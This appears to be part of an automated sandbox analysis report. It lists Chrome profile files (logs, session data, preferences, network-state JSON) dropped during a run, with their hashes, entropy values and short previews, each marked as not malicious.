Preview:	{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13280015424813965","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtl3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVGijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.2131284716711255
Encrypted:	false
SSDEEP:	6:maEeRmdVOq2PWXp+N23iKKdK9RXXTZIFUtnEeRmdjXZmwBEeRmdQDkwOWXp+N23/:pv+Ova5Kk7XT2FUtnvq/Bv15f5Kk7XVJ
MD5:	24E9100145747BAA4C3889A9C5C206DB
SHA1:	0BB53B2828C801DA97F3BE448D10AFF8D9FB521D
SHA-256:	E9F670384287EAAC2342064D0B8264965BC55F9929700AD54D688A664D172BCC
SHA-512:	FC6F76775DA866E3C19147610B2BB0212899988DBC3C7B833EAF7CE962522402EBC8DFD142D6885AE196EC38BC8F69F2119BB5F59899094BB808CC0EBF39D983
Malicious:	false
Reputation:	unknown
Preview:	2021/10/29-14:10:44.182 8f4 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase/MANIFEST-000001.2021/10/29-14:10:44.184 8f4 Recovering log #3.2021/10/29-14:10:44.185 8f4 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\LOG.old+. (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.2131284716711255
Encrypted:	false
SSDEEP:	6:maEeRmdVOq2PWXp+N23iKKdK9RXXTZIFUtnEeRmdjXZmwBEeRmdQDkwOWXp+N23/:pv+Ova5Kk7XT2FUtnvq/Bv15f5Kk7XVJ
MD5:	24E9100145747BAA4C3889A9C5C206DB
SHA1:	0BB53B2828C801DA97F3BE448D10AFF8D9FB521D
SHA-256:	E9F670384287EAAC2342064D0B8264965BC55F9929700AD54D688A664D172BCC
SHA-512:	FC6F76775DA866E3C19147610B2BB0212899988DBC3C7B833EAF7CE962522402EBC8DFD142D6885AE196EC38BC8F69F2119BB5F59899094BB808CC0EBF39D983
Malicious:	false
Reputation:	unknown
Preview:	2021/10/29-14:10:44.182 8f4 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase/MANIFEST-000001.2021/10/29-14:10:44.184 8f4 Recovering log #3.2021/10/29-14:10:44.185 8f4 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.217993576664083
Encrypted:	false
SSDEEP:	6:maEeRm/4q2PWXp+N23iKKdKyDZIFUtnEeRmbZmwBEeRmKFkwOWXp+N23iKKdKyJd:pvLva5Kk02FUtnv4/BvnF5f5KkWJ
MD5:	FB49EA72F90C78269BF908408C05B028
SHA1:	C9A4A332D07F5E787841B0EAD9DCB6E0EBFB0F08
SHA-256:	1C9C62B45107367F1CB20F9AE47E8C4C097D314E3726F12E0FE94AD74BFAC518
SHA-512:	251C941212BCD389FE22885345A372F658DEE245AD8F0023FE8AD5350CA75111FD45E5DEABB668D8146C88C7CD81BFE44C8E109FB49DD06E9402C72C1EBB15D9
Malicious:	false
Reputation:	unknown
Preview:	2021/10/29-14:10:44.113 8f4 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase/MANIFEST-000001.2021/10/29-14:10:44.177 8f4 Recovering log #3.2021/10/29-14:10:44.178 8f4 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\LOG.old.. (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.217993576664083
Encrypted:	false
SSDEEP:	6:maEeRm/4q2PWXp+N23iKKdKyDZIFUtnEeRmbZmwBEeRmKFkwOWXp+N23iKKdKyJd:pvLva5Kk02FUtnv4/BvnF5f5KkWJ
MD5:	FB49EA72F90C78269BF908408C05B028
SHA1:	C9A4A332D07F5E787841B0EAD9DCB6E0EBFB0F08
SHA-256:	1C9C62B45107367F1CB20F9AE47E8C4C097D314E3726F12E0FE94AD74BFAC518
SHA-512:	251C941212BCD389FE22885345A372F658DEE245AD8F0023FE8AD5350CA75111FD45E5DEABB668D8146C88C7CD81BFE44C8E109FB49DD06E9402C72C1EBB15D9
Malicious:	false
Reputation:	unknown
Preview:	2021/10/29-14:10:44.113 8f4 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase/MANIFEST-000001.2021/10/29-14:10:44.177 8f4 Recovering log #3.2021/10/29-14:10:44.178 8f4 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Current Session Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	13448
Entropy (8bit):	3.496787945228552
Encrypted:	false
SSDEEP:	96:34gHv2EhZk9Sly2gLThZk9Q78l4I2gLhhZk9Q78lwg8R2pLchZxo7plWK2pLEhZG:3HnE/DC9PNWStdSG
MD5:	C9C2061CD45FF26018679E016E8F308F
SHA1:	775E768E6E959030005BB9C5766B013037878423
SHA-256:	E1C44F7A439CDBFF47343B478E2DA39FB8C4BFE73D16420BA5A59EAD5F6166E8
SHA-512:	D844220BA9297BE2B1DA3673B058AA466EDB386EDEC17B721586B8DC4FB3CA7D0ED65BE9123FF2290CE4E96E74E0D0FF8C1EA02A81701634F3A1C03EB9E1A0A7
Malicious:	false
Reputation:	unknown
Preview:	SNSS....................................................!.............................................1..,.......$...4325d4a0_5254_4d0f_a259_2eb450f69d61......................%...................................................................................5..0.......&...{AE32626E-B2F7-4664-89C4-2B2C2DB60905}........................!.............................................1..,.......$...2d3ff34f_df6a_4e93_8e40_05f7b18759b4......................y.....................................https://docs.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=aspnet_state.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0......................................................h.......`.......................................................h..A....i..A............(...............................l.......h.t.t.p.s.:././.d.o.c.s...m.i.c.r.o.s.o.f.t...c.o.m./.e.n.-.u.s./.d.o.t.n.e.t./.f.r.a.m.e.w.o.r.k./.i.n.s.t.a.l.l./.a.p.p.l.i.c.a.t.i.o.n.-.n.o.t.-

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	1368
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWe:
MD5:	6C88FEEDEE47B405DCBB87ABEBC47027
SHA1:	C28B0EB68BAB44D7D6F514351A3BDFCD70A3941E
SHA-256:	153DDD24CD5DBCA43DC2071DDF4BE156DCBF32FB3338A2815023358A9740F708
SHA-512:	A78C7A534278ADF5D741C721D7109E0E421C3C43EF0E3E4265E9A9BA9AECD8E1FC14268183CE5CCA79523D1B1554AA29E708DF54023720D37929658359E242AE
Malicious:	false
Reputation:	unknown
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.232662299260004
Encrypted:	false
SSDEEP:	6:maEeXSmSVq2PWXp+N23iKKdK8NIFUtnEeXSYgZmwBEeXSzIkwOWXp+N23iKKdK8n:pvXSJVva5KkpFUtnvXSYg/BvXSzI5f5c
MD5:	E2040ED7DBD41A2D5AF72A9C334618CF
SHA1:	9628732D47A6E8B609562DA46C55E4DC820C891B
SHA-256:	CE2B8B548F018AEDDFD13EB20D76923E2D715239452D5ABC3B882C59C4D12DC3
SHA-512:	18DFC5AB6DBBEC50D6E19865103D8E65A31F315AF62B80A6353BAC950180721A52FA7D5D2F533F6C80C146F825313458C7367EF140477DC3A748094BFDA3DD59
Malicious:	false
Reputation:	unknown
Preview:	2021/10/29-14:10:27.505 8e4 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State/MANIFEST-000001.2021/10/29-14:10:27.506 8e4 Recovering log #3.2021/10/29-14:10:27.507 8e4 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG.old. (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.232662299260004
Encrypted:	false
SSDEEP:	6:maEeXSmSVq2PWXp+N23iKKdK8NIFUtnEeXSYgZmwBEeXSzIkwOWXp+N23iKKdK8n:pvXSJVva5KkpFUtnvXSYg/BvXSzI5f5c
MD5:	E2040ED7DBD41A2D5AF72A9C334618CF
SHA1:	9628732D47A6E8B609562DA46C55E4DC820C891B
SHA-256:	CE2B8B548F018AEDDFD13EB20D76923E2D715239452D5ABC3B882C59C4D12DC3
SHA-512:	18DFC5AB6DBBEC50D6E19865103D8E65A31F315AF62B80A6353BAC950180721A52FA7D5D2F533F6C80C146F825313458C7367EF140477DC3A748094BFDA3DD59
Malicious:	false
Reputation:	unknown
Preview:	2021/10/29-14:10:27.505 8e4 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State/MANIFEST-000001.2021/10/29-14:10:27.506 8e4 Recovering log #3.2021/10/29-14:10:27.507 8e4 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	38
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlX:qTCT
MD5:	51A2CBB807F5085530DEC18E45CB8569
SHA1:	7AD88CD3DE5844C7FC269C4500228A630016AB5B
SHA-256:	1C43A1BDA1E458863C46DFAE7FB43BFB3E27802169F37320399B1DD799A819AC
SHA-512:	B643A8FA75EDA90C89AB98F79D4D022BB81F1F62F50ED4E5440F487F22D1163671EC3AE73C4742C11830214173FF2935C785018318F4A4CAD413AE4EEEF985DF
Malicious:	false
Reputation:	unknown
Preview:	.f.5................f.5...............

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	372
Entropy (8bit):	5.259827089317539
Encrypted:	false
SSDEEP:	6:maEeRWvUf4q2PWXp+N23iKKdK25+Xqx8chI+IFUtnEeRWlJZmwBEeRWlDkwOWXpi:pvv4va5KkTXfchI3FUtnvkJ/BvkD5f5G
MD5:	647AC9965A71591C224C5EFF662A5EC4
SHA1:	566B28A50B3159789A62B811842500274A9D3611
SHA-256:	AD79970F9BECA6486DDEBB9AEDD6139F616433DF2B6A39DAEA4C559CF6AFF6EA
SHA-512:	29F8F13DBF8D7AB3E51C39A390866C7B5728B7FBD12E275ED27679D8536205292A974DD368FDD690D59003DDCF2A52EF343865D0F53B49FCA6DBED8DA4A0A82B
Malicious:	false
Reputation:	unknown
Preview:	2021/10/29-14:10:43.804 1f24 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MANIFEST-000001.2021/10/29-14:10:43.805 1f24 Recovering log #3.2021/10/29-14:10:43.805 1f24 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	372
Entropy (8bit):	5.259827089317539
Encrypted:	false
SSDEEP:	6:maEeRWvUf4q2PWXp+N23iKKdK25+Xqx8chI+IFUtnEeRWlJZmwBEeRWlDkwOWXpi:pvv4va5KkTXfchI3FUtnvkJ/BvkD5f5G
MD5:	647AC9965A71591C224C5EFF662A5EC4
SHA1:	566B28A50B3159789A62B811842500274A9D3611
SHA-256:	AD79970F9BECA6486DDEBB9AEDD6139F616433DF2B6A39DAEA4C559CF6AFF6EA
SHA-512:	29F8F13DBF8D7AB3E51C39A390866C7B5728B7FBD12E275ED27679D8536205292A974DD368FDD690D59003DDCF2A52EF343865D0F53B49FCA6DBED8DA4A0A82B
Malicious:	false
Reputation:	unknown
Preview:	2021/10/29-14:10:43.804 1f24 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MANIFEST-000001.2021/10/29-14:10:43.805 1f24 Recovering log #3.2021/10/29-14:10:43.805 1f24 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.235089548406038
Encrypted:	false
SSDEEP:	6:maEeRWmT4q2PWXp+N23iKKdK25+XuoIFUtnEeRWmtJZmwBEeRWjSDkwOWXp+N23B:pv94va5KkTXYFUtnvjJ/BvDD5f5KkTXp
MD5:	56EF95D882EBCEC3586A7B36280E7B1D
SHA1:	69BA65F59A0BAF574B0B5C9D8C9722FACB9F1AC8
SHA-256:	FEA122246C951A3D386C8D328ED6D651438CFFF449AA2900EF4C17B593DBB35A
SHA-512:	A21F8E1F6A9BA052541739087B1CBDE98AB372239186D83863347AD29B618EBF3ED23ECA32AD6BBED4B67BE62265523468C699C34283180FD8C2CCC3DE6540A0
Malicious:	false
Reputation:	unknown
Preview:	2021/10/29-14:10:43.796 1f24 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB/MANIFEST-000001.2021/10/29-14:10:43.798 1f24 Recovering log #3.2021/10/29-14:10:43.800 1f24 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB\LOG.oldMS (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.235089548406038
Encrypted:	false
SSDEEP:	6:maEeRWmT4q2PWXp+N23iKKdK25+XuoIFUtnEeRWmtJZmwBEeRWjSDkwOWXp+N23B:pv94va5KkTXYFUtnvjJ/BvDD5f5KkTXp
MD5:	56EF95D882EBCEC3586A7B36280E7B1D
SHA1:	69BA65F59A0BAF574B0B5C9D8C9722FACB9F1AC8
SHA-256:	FEA122246C951A3D386C8D328ED6D651438CFFF449AA2900EF4C17B593DBB35A
SHA-512:	A21F8E1F6A9BA052541739087B1CBDE98AB372239186D83863347AD29B618EBF3ED23ECA32AD6BBED4B67BE62265523468C699C34283180FD8C2CCC3DE6540A0
Malicious:	false
Reputation:	unknown
Preview:	2021/10/29-14:10:43.796 1f24 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB/MANIFEST-000001.2021/10/29-14:10:43.798 1f24 Recovering log #3.2021/10/29-14:10:43.800 1f24 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.270914232365926
Encrypted:	false
SSDEEP:	6:maEeRWfL4q2PWXp+N23iKKdKWT5g1IdqIFUtnEeRW6LJZmwBEeRWBbDkwOWXp+N4:pve4va5Kkg5gSRFUtnvZJ/BvUbD5f5Kg
MD5:	0FB81C78FB820C8320909DCF5CF3B43A
SHA1:	35E57E72C84512466ADB1506D2B65BAEB551E023
SHA-256:	2A37399DBE5FE2AEC984D072696CA3688A7A90EB125D3348B6BBBD67163F920C
SHA-512:	65A641930907EBF8217B1A7A1FE42CBF5CD796658D8B32F34D0AAB01A870302D79E17FBD16A8BAF9DD5A647FF2DB592507EB46B8CE4BE2A6005C8C8DE94A9C6E
Malicious:	false
Reputation:	unknown
Preview:	2021/10/29-14:10:43.696 1f24 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption/MANIFEST-000001.2021/10/29-14:10:43.697 1f24 Recovering log #3.2021/10/29-14:10:43.698 1f24 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.270914232365926
Encrypted:	false
SSDEEP:	6:maEeRWfL4q2PWXp+N23iKKdKWT5g1IdqIFUtnEeRW6LJZmwBEeRWBbDkwOWXp+N4:pve4va5Kkg5gSRFUtnvZJ/BvUbD5f5Kg
MD5:	0FB81C78FB820C8320909DCF5CF3B43A
SHA1:	35E57E72C84512466ADB1506D2B65BAEB551E023
SHA-256:	2A37399DBE5FE2AEC984D072696CA3688A7A90EB125D3348B6BBBD67163F920C
SHA-512:	65A641930907EBF8217B1A7A1FE42CBF5CD796658D8B32F34D0AAB01A870302D79E17FBD16A8BAF9DD5A647FF2DB592507EB46B8CE4BE2A6005C8C8DE94A9C6E
Malicious:	false
Reputation:	unknown
Preview:	2021/10/29-14:10:43.696 1f24 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption/MANIFEST-000001.2021/10/29-14:10:43.697 1f24 Recovering log #3.2021/10/29-14:10:43.698 1f24 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	3007
Entropy (8bit):	6.085856219048523
Encrypted:	false
SSDEEP:	48:MYtYS6542D/rUPgdiGpqbZ7xPbD4wXesKsSPwm3Ublpu4KinJIQPu4KWx0HP2PuM:nt/6542D/UgojjPTeAMDUbl1KyJIQrKu
MD5:	99FE901287E08CE0B86EC5CE26DCCC49
SHA1:	AFAB5CB3FFCB646B38EE78D1918C89321E368EBD
SHA-256:	2AB9B6FF7AA534DEF87345363536C6FAF9B6E01A67739294870D5FAE4AB5A54B
SHA-512:	7EF515D3AF1524831706645DF9A2181440067BA10FC43770F6E5F497BE5060525C69438F234F0A48E240384FD3950E27521776259E70B8924693C348870E04E6
Malicious:	false
Reputation:	unknown
Preview:	............"......0..0009..0x409..11324..4.0.30319.0..4.5..6..applaunch2..application..aspnet..be..com..could..docs..exe..found..framework..fwlink..go..http..isserver..microsoft..net..not..noversion..null..o1..osver..platform..plcid..prd..processname..pver..sbp..shim..shimver..started..state..this..troubleshooting..version..dotnet..https..install..en..us........0......0009......0x409......11324......4.0.30319.0......4.5......6......applaunch2......application......aspnet......be......com......could......docs......dotnet.)....en.,....exe......found......framework......fwlink......go......http......https.....install.+....isserver......microsoft......net......not......noversion......null......o1......osver......platform......plcid......prd......processname......pver. ....sbp.!....shim."....shimver.#....started.$....state.%....this.&....troubleshooting.'....us.-....version.(2...................0...........1..........2.........3.........4...........5........6........9..........a........

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History-journal Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.3283577581710296
Encrypted:	false
SSDEEP:	6:xQ94/fMt76Y4QZVRtRex99pG/VTqR4EZY4QZv8fO1:A4nMWQA9L/BQZ8fO1
MD5:	790A5E6E8A4AD043F767BCCE64D5E13F
SHA1:	4FCF9A7FAD71EBD6F5CF6D85FBD8EC846D305DDF
SHA-256:	84A0564FE257C6F916767D3334607B8425BDF7D8BDAC729519AB3D7AAF7832F2
SHA-512:	1E741C52BA7858118F0D8FBEB41D5FE88BB88464C8FF2D6B752113620412D3499A3A5DD9419E5059DC717142F354C0D62B84DDEE5DCAAE70BCDC6C4722C89412
Malicious:	false
Reputation:	unknown
Preview:	.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Last Sessiono (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	13448
Entropy (8bit):	3.496787945228552
Encrypted:	false
SSDEEP:	96:34gHv2EhZk9Sly2gLThZk9Q78l4I2gLhhZk9Q78lwg8R2pLchZxo7plWK2pLEhZG:3HnE/DC9PNWStdSG
MD5:	C9C2061CD45FF26018679E016E8F308F
SHA1:	775E768E6E959030005BB9C5766B013037878423
SHA-256:	E1C44F7A439CDBFF47343B478E2DA39FB8C4BFE73D16420BA5A59EAD5F6166E8
SHA-512:	D844220BA9297BE2B1DA3673B058AA466EDB386EDEC17B721586B8DC4FB3CA7D0ED65BE9123FF2290CE4E96E74E0D0FF8C1EA02A81701634F3A1C03EB9E1A0A7
Malicious:	false
Reputation:	unknown
Preview:	SNSS....................................................!.............................................1..,.......$...4325d4a0_5254_4d0f_a259_2eb450f69d61......................%...................................................................................5..0.......&...{AE32626E-B2F7-4664-89C4-2B2C2DB60905}........................!.............................................1..,.......$...2d3ff34f_df6a_4e93_8e40_05f7b18759b4......................y.....................................https://docs.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=aspnet_state.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0......................................................h.......`.......................................................h..A....i..A............(...............................l.......h.t.t.p.s.:././.d.o.c.s...m.i.c.r.o.s.o.f.t...c.o.m./.e.n.-.u.s./.d.o.t.n.e.t./.f.r.a.m.e.w.o.r.k./.i.n.s.t.a.l.l./.a.p.p.l.i.c.a.t.i.o.n.-.n.o.t.-

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Action Predictor Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.5102847836765736
Encrypted:	false
SSDEEP:	48:Tbw/qALihje9kqL42WOT/9FUT+BwSfCAczwjDOIk:fOqAuhjspnWOvUT+BHKAcz5Ik
MD5:	383CFA774C903C6DC227EAD7C33DE1A8
SHA1:	C0EBB3958A3DD564A65FA5F543B162C76620F1A9
SHA-256:	B2320C476448462DC6006CC1F08ECA3DD30744943905CA32A6B9BC942C12138C
SHA-512:	095E2A8543DE9474A60A7CFCC08CE64610AB54C19E69EDF86EB7E62316061A17EEAAACFC738C82229A2A1CF70395288DA3862B3601054D67E10A2C224EA9BF87
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C.......,......\.t.+.>...,............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State. (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	4219
Entropy (8bit):	4.871684703914691
Encrypted:	false
SSDEEP:	48:YXsJjMH+5s7YMHBKsvxMHVzspxMHbsIHt/soBDysKqnsllzMHpDCLsWJMHLsNuMg:RG+ZGJG+GTTD7IGpD+G7Gp2GnG4GVhH
MD5:	EDC4A4E22003A711AEF67FAED28DB603
SHA1:	977E551B9ED5F60D018C030B0B4AA2E33B954556
SHA-256:	DD2C9F43F622F801FCC213CDE8E3E90EF1D0D26665AE675449A94CEC7EB1D453
SHA-512:	84D3930579FD73C7D86144D5CDC636436955BA79759273C740D2D72BC4847F2F7F165BBCA3EB2E4DFB01777D6A5F141623278C1BF74615C5A491092CE3FD1602
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[],"expiration":"13248543677350473","port":443,"protocol_str":"quic"},{"advertised_versions":[],"expiration":"13248543677350474","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31344},"server":"https://dns.google","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248543501474403","port":443,"protocol_str":"quic"},{"advertised_versions":[],"expiration":"13248543501474403","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31656},"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248543501454993","port":443,"protocol_str":"quic"},{"advertised_versions":[],"expiration":"13248543501454994","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":39369},"server":"https://www.googleapis.com","supports_spdy":true},

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	5193
Entropy (8bit):	4.979900818343623
Encrypted:	false
SSDEEP:	96:n8pCFcqX9pcKI1Vok0JCKL8aPQkNNMkZpbOTQVuwn:n8pCFF9pcj04Kukv/
MD5:	F40CC1605A6D5FAD4929C5FEFF714C6B
SHA1:	0D4E880D4BDD0DDF03591242FF448FF9ACB60719
SHA-256:	C70C793088B14C73D04D05D4518B31C5734DF395AA4062D5D07F8E4CD1412D51
SHA-512:	DB058CD1700DAB2993DAC4A4D94E0AABE937A0D43E190C4211F4A6A21D5136AB5B1389A19D71C91EBA86915869739D1B76EF7E4E7101327E5603C1EA1142EC72
Malicious:	false
Reputation:	unknown
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13280015426034104","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser_infobar_last_declined":"13245951692116406","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","7355378"],"daily_received_length":["0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Reporting and NEL Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	modified
Size (bytes):	36864
Entropy (8bit):	0.7701922072347449
Encrypted:	false
